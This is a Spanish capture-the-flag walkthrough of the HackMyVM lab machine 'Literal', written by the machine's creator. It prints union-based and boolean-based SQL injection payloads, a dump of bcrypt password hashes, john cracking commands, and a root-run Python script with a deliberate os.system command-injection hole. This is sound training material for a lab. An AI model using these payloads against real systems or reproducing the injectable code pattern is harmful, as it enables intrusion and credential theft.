HackMyVM - Literal


Creado
HackMyVM - Literal

Máquina Linux nivel fácil. Inyecciones por todos lados, SQL (union-based y boolean-based) y de comandos en el sistema. Así mismo jugaremos un poco con pensamiento lateral.

TL;DR (Spanish writeup)

Creada por: Lanz (sip, yo).

Descargamos la máquina acá: HackMyVM - Literal

Pensamientos, laterales,.

Empezaremos con un blog vulnerable a inyecciones SQL basadas en uniones, con esto obtendremos algunas credenciales inservibles, pero profundizando entre tablas, llegaremos a un nuevo subdominio.

En ese subdominio nos enfrentaremos ahora a inyecciones SQL basadas en contenido o booleanas, extrayendo la información interna de estas bases de datos podremos obtener de nuevo credenciales inservibles, pero con curiosidades. Nuestro pensamiento lateral nos hará dudar y obtendremos finalmente una consola SSH como el usuario carlos en el sistema.

Carlos puede ejecutar un script de Python (relacionado con el blog inicial) como el usuario root, realizando inspección de código y entendiendo la lógica que hay por detrás, encontraremos una inyección de código, esta nos servirá para ejecutar cualquier comando como el usuario root en el sistema.

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

ahbitaul.

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de privilegios.

Reconocimiento #

Empezaremos como siempre, viendo qué puertos (servicios) tiene activos/expuestos el objetivo. Para eso usaré la herramienta nmap:

nmap -p- --open -v 192.168.20.27 -oA TCP_initScan_192.168.20.27
Parámetro Descripción
-p- Escanea todos los 65535 puertos
–open Devuelve solo los puertos que estén abiertos
-v Permite ver en consola lo que va encontrando
-oA Guarda el output en varios archivos con distintos formatos, uno de ellos en formato grepeable para usar una función extractPorts de S4vitar que me copia los puertos en la clipboard

Del escaneo obtenemos:

Puerto Descripción
22 SSH: Nos sirve para obtener una Shell de forma segura.
80 HTTP: Se usa para hostear servidores web.

_____(Usando la función extractPorts (referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno…

extractPorts TCP_initScan_192.168.20.27.gnmap

)_____

Ahora lo que podemos hacer es obtener algo más de información sobre los servicios que encontramos, para esto volvemos a usar nmap, pero ahora con unas opciones que nos permitirán, tanto ver la versión exacta (si la encuentra) del software usado por el servicio y además que el propio programa valide con algunos scripts que él tiene a ver si encuentra vulnerabilidades:

nmap -sCV -p 22,80 192.168.20.27 -oA TCP_portScan_192.168.20.27
Parámetro Descripción
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versión del servicio
-oN Guarda el output en un archivo

Se nos revelan algunas cositas:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80 HTTP Apache httpd 2.4.41

Por ahora no tenemos nada más, así que empecemos a explorar…

Enumeración #

Empezaremos revisando la información contenida en el servicio web. Al intentar conectarnos nos indica que intenta un redirect contra la dirección: blog.literal.hmv, así que agregamos al archivo /etc/hosts el registro y volvemos a validar:

cat /etc/hosts                                  
...
192.168.20.27   blog.literal.hmv
...

Bien, un blog de alguien, vemos a la derecha superior que existe un apartado login, pero ya iremos, antes veamos si hay algo más por acá…

La persona que creo el blog habla mucho sobre un foro, probablemente no sea nada, pero para tenerlo en cuenta:

También encontramos un nombre, lo guardamos en nuestras notas, puede llegar a ser un usuario:

Bien, varias cositas. Ahora si veamos el apartado del login:

Nada del otro mundo.

Está la opción de crear una cuenta, la creamos e iniciamos sesión, finalmente somos redirigidos al dashboard:

Listones, pues veamos tus proyectos, señor Carlos.

Jmmm, contamos con una barra de filtrado, esta extrae los valores de Status que indiquemos:

Podemos pensar que estos datos están siendo extraídos de una base de datos, así que como una de las tantas pruebas que se nos ocurren, juguemos con cositas relacionadas con inyecciones SQL:

💉 Basicamente una inyección SQL se refiere a aprovechar una interacción contra una base de datos para inyectar sentencias maliciosas y así extraer información confidencial o no publica.

Intentamos inicialmente concatenar la instrucción ORDER BY (nos sirve para organizar), ya que en este tipo de inyección (sqli union-based) se usa para identificar cuantas columnas existen en la tabla.

Si validamos con 5 columnas, el servidor nos responde correctamente:

Ni errores, ni mensajes raros, output normal, lo cual ya indica que no hay sanitización o al menos validación del input. La siguiente prueba es ir aumentando el número de columnas y esperar cambios en la respuesta.

Si ahora le decimos que organice por 6 columnas, obtenemos cositas :O

¡Así que confirmamos una inyección SQL basada en uniones! 😲

Y como prueba final, ya conociendo el número de columnas, podemos decirle a la sentencia que nos muestre visualmente las columnas:

Done' UNION ALL SELECT 'a','b','c','d','e'-- -

Explotación #


SQLi Union-Based Blog 📌

Ya tenemos nuestro punto de explotación, ahora viene lo fácil, extraer la información. Podemos jugar con varios recursos de internet (y claramente con pruebas manuales) para saber que gestor de base de datos (Oracle, MySQL, PostgreSQL, etc) está por detrás, así lograremos encaminar los ataques con la sintaxis correcta.

Extrayendo las bases de datos ⤵️

💡 Nos creamos un script (en mi caso en Python) para hacer el proceso más rápido. extractAliteralSQLI_blog.py

Done' UNION ALL SELECT (SELECT schema_name FROM information_schema.schemata LIMIT 0,1),'b','c','d','e'-- -

Al ejecutar esta sentencia e iterar sobre todas las filas (LIMIT n,1) obtenemos:

mysql
information_schema
performance_schema
blog

La base de datos distinta a las genéricas es blog, así que a revisarla.

Extrayendo las tablas de una base de datos ⤵️


Done' ... (SELECT table_name FROM information_schema.tables WHERE table_schema='blog' LIMIT 0,1),...

Obtenemos:

projects
users

Inicialmente, nos llama la atención users.

Extrayendo columnas de una tabla de la base de datos ⤵️


Done' ... (SELECT column_name FROM information_schema.columns WHERE table_schema='blog' and table_name='users' LIMIT 0,1),...

Nos devuelve:

userid
username
userpassword
useremail
usercreatedate

Claramente, nos atraen los campos username y userpassword.

Extrayendo datos de usuarios de la base de datos ⤵️


Done' ... (SELECT CONCAT(username,':',userpassword) FROM blog.users LIMIT 0,1),...

Yyyy:

test:$2y$10$wWhvCz1pGsKm..jh/lChIOA7aJoZRAil40YKlGFiw6B.6a77WzNma
admin:$2y$10$fjNev2yv9Bi1IQWA6VOf9Owled5hExgUZNoj8gSmc7IdZjzuOWQ8K
carlos:$2y$10$ikI1dN/A1lhkKLmiKl.cJOkLiSgPUPiaRoopeqvD/.p.bh0w.bJBW
freddy123:$2y$10$yaf9nZ6UJkf8103R8rMdtOUC.vyZUek4vXVPas3CPOb4EK8I6eAUK
jorg3_M:$2y$10$lZ./Zflz1EEFdYbWp7VUK.415Ni8q9kYk3LJ2nF0soRJG1RymtDzG
aNdr3s1to:$2y$10$F2Eh43xkXR/b0KaGFY5MsOwlnh4fuEZX3WNhT3PxSw.6bi/OBA6hm
kitty:$2y$10$rXliRlBckobgE8mJTZ7oXOaZr4S2NSwqinbUGLcOfCWDra6v9bxcW
walter:$2y$10$er9GaSRv1AwIwu9O.tlnnePNXnzDfP7LQMAUjW2Ca1td3p0Eve6TO
estefy:$2y$10$hBB7HeTJYBAtdFn7Q4xzL.WT3EBMMZcuTJEAvUZrRe.9szCp19ZSa
michael:$2y$10$sCbKEWGgAUY6a2Y.DJp8qOIa250r4ia55RMrDqHoRYU3Y7pL2l8Km
r1ch4rd:$2y$10$7itXOzOkjrAKk7Mp.5VN5.acKwGi1ziiGv8gzQEK7FOFLomxV0pkO
fel1x:$2y$10$o06afYsuN8yk0yoA.SwMzucLEavlbI8Rl43.S0tbxL.VVSbsCEI0m
kelsey:$2y$10$vxN98QmK39rwvVbfubgCWO9W2alVPH4Dp4Bk7DDMWRvfN995V4V6.
jtx:$2y$10$jN5dt8syJ5cVrlpotOXibeNC/jvW0bn3z6FetbVU/CeFtKwhdhslC
DRphil:$2y$10$rW58MSsVEaRqr8uIbUeEeuDrYB6nmg7fqGz90rHYHYMt2Qyflm1OC
carm3N:$2y$10$D7uF6dKbRfv8U/M/mUj0KujeFxtbj6mHCWT5SaMcug45u7lo/.RnW
lanz:$2y$10$PLGN5.jq70u3j5fKpR8R6.Zb70So/8IWLi4e69QqJrM8FZvAMf..e
lanza:$2y$10$O3vFKVA81RvohCkEAKnJEeJi5Pe8lSLQ/.vS8L4Go5kPzcCrgu/2.

Ujuuu, varios usuarios y varias contraseñas. Según varias herramientas, el algoritmo usado es bcrypt. Podemos usar opciones como hashcat o john-the-ripper para crackear estas contraseñas y verlas en texto plano:

john --wordlist=/usr/share/wordlists/rockyou.txt sqli_users_passwords_blog.hashes

Obtenemos varias, pero con ninguna obtenemos información distinta en el blog o logramos establecer una terminal por SSH ):

Después de un rato, si volvemos a atrás, vemos un campo llamado useremail, si extraemos su contenido, encontramos respuestas:

test:test@blog.literal.htb
admin:admin@blog.literal.htb
carlos:carlos@blog.literal.htb
freddy123:freddy123@zeeli.moc
jorg3_M:jorg3_M@zeeli.moc
aNdr3s1to:aNdr3s1to@puertonacional.ply
kitty:kitty@estadodelarte.moc
walter:walter@forumtesting.literal.hmv
estefy:estefy@caselogic.moc
michael:michael@without.you
r1ch4rd:r1ch4rd@forumtesting.literal.hmv
fel1x:fel1x@without.you
kelsey:kelsey@without.you
jtx:jtx@tiempoaltiempo.hy
DRphil:DRphil@alcaldia-tol.gob
carm3N:carm3N@estadodelarte.moc
lanz:lanz@literal.htb
lanza:lanz@lanz.com

¿Notas algo llamativo en eso?

¡Efectivamente, hay un subdominio que está relacionado con el dominio inicial (literal.hmv) yyyy nos recuerda lo que tanto hablaba Carlos, un foro!

forumtesting.literal.hmv

Agregamos al archivo /etc/hosts este nuevo subdominio y si validamos si tiene contenido, obtenemos:

Recorriendo el sitio web, encontramos un recurso interesante que nos vuelve a hacer pensar en inyecciones SQL:

http://forumtesting.literal.hmv/category.php?category_id=1

Si volvemos a realizar las mismas pruebas de antes vemos que el ORDER BY intenta funcionar, pero no obtenemos respuesta visual, solo algunos cambios en el comportamiento del sitio web, por lo que podemos pasar a la siguiente prueba, inyección basada en contenido (o booleana).

0️⃣1️⃣ Este tipo de inyección juega con operaciones donde si algo es verdadero, entonces la respuesta debe ser X y si algo es falso, la respuesta claramente debe ser Y. Lo que buscamos es detallar cuando la respuesta es X y cuando es Y (:

Si comprobamos por ejemplo con un ID existente (1) y le concatenamos la instrucción 1=1, la respuesta debería ser verdadera (pues en caso de que exista el SQLi), ya que el ID 1 existe y la instrucción 1=1 es válida.

Listo, al parecer está respondiendo normal, si ahora probamos con la instrucción 1=2, deberíamos obtener un output distinto al anterior para confirmar el SQLI (ya que 1 no es igual a 2, vale aclarar :P), yyyyy:

Epaleee, el texto que veíamos antes desapareció, lo que quiere decir que encontró el ID 1, pero como 1=2 no se cumple, la consulta no se realizó!! Así queeee tenemos otra inyección SQL. A scriptearla…

SQLI Boolean-Based Forum📌

extractAliteralSQLI_forum.py

De nuevo tenemos el punto de explotación. Lo siguiente es apoyarnos de recursos web para extraer la información interna de las bases de datos.

💡 Un ejemplo rápido para que entiendan la sintaxis, pero las sentencias de extracción son las mismas que la anterior inyección.

1 AND ASCII(SUBSTR('hola',1,1))=104-- -

Lo que estamos haciendo es muy sencillo. Vamos del centro para afuera:

  • Con SUBSTR('hola',1,1) extraemos el primer carácter (en este caso) de la palabra hola, o sea, la h.
  • Después lo que hacemos es convertir ese carácter a su valor ASCII, o sea: 104.
  • Y lo último es hacer la comparación, si ese valor ASCII es igual a 104, sabemos que la primera posición de la palabra hola es la letra h.
  • Lo que sigue es automatizar ese ciclo en el que valida cada valor ASCII con cada posición (:

Extraemos las bases de datos ⤵️

Esta sería la sentencia de ejemplo para extraer las bases de datos:

1 AND ASCII(SUBSTR((SELECT schema_name FROM information_schema.SCHEMATA LIMIT 0,1),1,1))=105-- -

Obtenemos:

information_schema                                       
performance_schema                                       
forumtesting

La distinta es forumtesting, a examinarla.

Extraemos las tablas de una base de datos ⤵️


1 AND ... SELECT table_name FROM information_schema.tables WHERE table_schema='forumtesting' ...

Nos responde:

forum_category
forum_owner
forum_posts
forum_topics
forum_users

Nos atrae inicialmente forum_users, pero después de perder el tiempo un poco con ella, nos destella el nombre forum_owner, si la revisamoooos…

Extraemos las columnas de una tabla de la base de datos ⤵️


1 AND ... SELECT column_name FROM information_schema.columns WHERE table_schema='forumtesting' and table_name='forum_owner' ...
id
username
email
password
created

Extraemos la información de los usuarios de la base de datos ⤵️


1 AND ... SELECT CONCAT(username,':',password) FROM forumtesting.forum_owner ...

Vemooos:

EPALEEE! Encontramos credenciales (: Procedamos a intentar crackearlas.

john --wordlist=/usr/share/wordlists/rockyou.txt sqli_owner_password_forum.hash

Pero no obtenemos ningún resultado, al parecer necesitamos especificar que tipo de hash es, para esto podemos usar varias herramientas, usando hashid (linux) nos indica que el algoritmo usado es SHA-512, así que se lo hacemos saber a john:

john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA512 sqli_owner_password_forum.hash

Liiiistones, tenemos la contraseña en texto plano (: Pero ya vimos que las anteriores no sirvieron y al parecer esta tampoco, ya que si probamos una conexión SSH no la obtenemos ):

Solo que hay algo que nos puede llamar la atención, esta contraseña fue obtenida en el foro, la contraseña tiene forum en su contenido… ¿Podríamos pensar que carlos es algo precavido (pero no mucho) y no reutiliza contraseñas, pero las relaciona al servicio donde sean usadas??? O sea, ¿quizás la contraseña del SSH pueda ser: ssh10..., así como la del foro fue forum10...? Si probamooooooooos:

ssh carlos@192.168.20.27

ESTAMOS DENTROOOOOOOOOOOOOOOOOOO! Largo camino, pero se aprendió (:

Escalada de privilegios #

El usuario carlos tiene permisos administrativos sobre un archivo en el sistema:

Puede ejecutar un objeto Python como el usuario root. El script está relacionado con la tabla que vimos en el blog, la de los proyectos, acá carlos puede actualizar el estado de los proyectos.

#!/usr/bin/python3

# Learning python3 to update my project status
## (mental note: This is important, so administrator is my safe to avoid upgrading records by mistake) :P

'''
References:
* MySQL commands in Linux: https://www.shellhacks.com/mysql-run-query-bash-script-linux-command-line/
* Shell commands in Python: https://stackabuse.com/executing-shell-commands-with-python/
* Functions: https://www.tutorialspoint.com/python3/python_functions.htm
* Arguments: https://www.knowledgehut.com/blog/programming/sys-argv-python-examples
* Array validation: https://stackoverflow.com/questions/7571635/fastest-way-to-check-if-a-value-exists-in-a-list
* Valid if root is running the script: https://stackoverflow.com/questions/2806897/what-is-the-best-way-for-checking-if-the-user-of-a-script-has-root-like-privileg
'''

import os
import sys
from datetime import date

# Functions ------------------------------------------------.
def execute_query(sql):
    os.system("mysql -u " + db_user + " -D " + db_name + " -e \"" + sql + "\"")

# Query all rows
def query_all():
    sql = "SELECT * FROM projects;"
    execute_query(sql)

# Query row by ID
def query_by_id(arg_project_id):
    sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
    execute_query(sql)

# Update database
def update_status(enddate, arg_project_id, arg_project_status):
    if enddate != 0:
        sql = f"UPDATE projects SET prodateend = '" + str(enddate) + "', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"
    else:
        sql = f"UPDATE projects SET prodateend = '2222-12-12', prostatus = '" + arg_project_status + "' WHERE proid = '" + arg_project_id + "';"

    execute_query(sql)

# Main program
def main():
    # Fast validation
    try:
        arg_project_id = sys.argv[1]
    except:
        arg_project_id = ""

    try:
        arg_project_status = sys.argv[2]
    except:
        arg_project_status = ""

    if arg_project_id and arg_project_status: # To update
        # Avoid update by error
        if os.geteuid() == 0:
            array_status = ["Done", "Doing", "To do"]
            if arg_project_status in array_status:
                print("[+] Before update project (" + arg_project_id + ")\n")
                query_by_id(arg_project_id)

                if arg_project_status == 'Done':
                    update_status(date.today(), arg_project_id, arg_project_status)
                else:
                    update_status(0, arg_project_id, arg_project_status)
            else:
                print("Bro, avoid a fail: Done - Doing - To do")
                exit(1)

            print("\n[+] New status of project (" + arg_project_id + ")\n")
            query_by_id(arg_project_id)
        else:
            print("Ejejeeey, avoid mistakes!")
            exit(1)

    elif arg_project_id:
        query_by_id(arg_project_id)
    else:
        query_all()

# Variables ------------------------------------------------.
db_user = "carlos"
db_name = "blog"

# Main program
main()

Revisando a detalle el script notamos algo llamativo:

...
def execute_query(sql):
    os.system("mysql -u " + db_user + " -D " + db_name + " -e \"" + sql + "\"")
...

La función está ejecutando el comando mysql pasándole el parámetro sql sin validación o sanitización :O ¿Pero podemos nosotros interactuar con ese parámetro? Pos si:

...
def query_by_id(arg_project_id):
    sql = "SELECT * FROM projects WHERE proid = " + arg_project_id + ";"
    execute_query(sql)
...

Y el ID del proyecto (arg_project_id) viene del primer argumento que tome el programa al ser ejecutado:

...
def main():
    # Fast validation
    try:
        arg_project_id = sys.argv[1]
...

🤭🤫

¿Se nos ocurre algo? Si si siii, podríamos intentar jugar traviesamente con el código del proyecto…

Este sería el funcionamiento normal, tanto sin ID como con ID:

Siguiendo la lógica detrás de la función que llama a mysql, debemos primero cerrar las comillas dobles (") donde está la sentencia, luego le indicaríamos que terminara el comando mysql y ejecutara lo siguiente a eso, o sea, nuestro comando.

Solo que si nos fijamos, hay una comilla doble (") también al final de la consulta, así que debemos también ‘abrirla’ para que interprete correctamente la sintaxis de mysql y a la vez la de nuestro comando:

Liiiiiiistoneeees, logramos inyectar comandos, ahora simplemente agregamos sudo para que tome los permisos que tiene carlos en el sistema contra ese archivo (ejecución como root) y podríamos inyectar comandos como el usuario root:

Epale! Somos administradores del sistema (:

Lindo recorrido con inyecciones, tanto SQL como de comandos. Así mismo a generar ese pensamiento lateral que debemos mejorar (:

Hemos llegado al final de la máquina, fue una máquina que paso por muchos cambios, pero que me gusto como quedo enfocada :P Espero que la hayan disfrutado y haya sido un poco frustrante el tema de las SQLi, ya que no siempre vamos a encontrar todo a la primera, pero sí encontraremos cosas para seguir (:

Gracias por leer, gracias a los que hicieron la máquina y gracias por el feedback.

Si quieres hacerla esta hosteada en HackMyVM (Literal), abrazos y nos leemos luego :*

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus